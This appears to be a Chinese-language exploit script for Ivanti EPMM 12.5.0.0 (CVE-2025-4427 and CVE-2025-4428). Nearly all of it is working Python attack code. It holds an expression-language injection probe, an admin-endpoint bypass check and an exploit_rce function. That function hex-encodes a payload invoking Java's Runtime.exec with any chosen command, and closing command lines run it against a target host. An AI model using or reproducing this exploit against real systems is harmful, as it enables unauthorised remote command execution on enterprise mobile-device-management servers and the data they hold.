Ivanti EPM移动版12.5.0.0身份验证绕过漏洞分析与利用

def detect_cve_2025_4427(self):
    """快速检测CVE-2025-4427"""
    # 简单的数学运算payload用于检测
    payload = '%24%7b%32%2b%32%7d'  # ${2+2}
    url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
    
    try:
        resp = self.session.get(url, timeout=10)
        if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):
            return True, "CVE-2025-4427 存在漏洞 - 表达式语言注入"
    except:
        pass
    return False, "CVE-2025-4427 不存在漏洞"

def detect_cve_2025_4428(self):
    """快速检测CVE-2025-4428"""
    admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']
    
    for endpoint in admin_endpoints:
        try:
            url = urljoin(self.target, endpoint)
            resp = self.session.get(url, timeout=10)
            if resp.status_code == 200:
                return True, f"CVE-2025-4428 存在漏洞 - 在 {endpoint} 端点存在身份验证绕过"
        except:
            continue
    return False, "CVE-2025-4428 不存在漏洞"

def exploit_rce(self, command='id'):
    """通过CVE-2025-4427执行命令"""
    # URL编码命令
    cmd_hex = command.encode().hex()
    cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))
    
    # RCE payload
    payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'
    
    url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
    
    try:
        resp = self.session.get(url, timeout=15)
        if resp.status_code == 400 and 'Process[pid' in resp.text:
            return True, f"RCE 成功: {resp.text[:200]}"
    except:
        pass
    return False, "RCE 失败"

# 检测目标漏洞
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com

# 利用漏洞执行命令
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"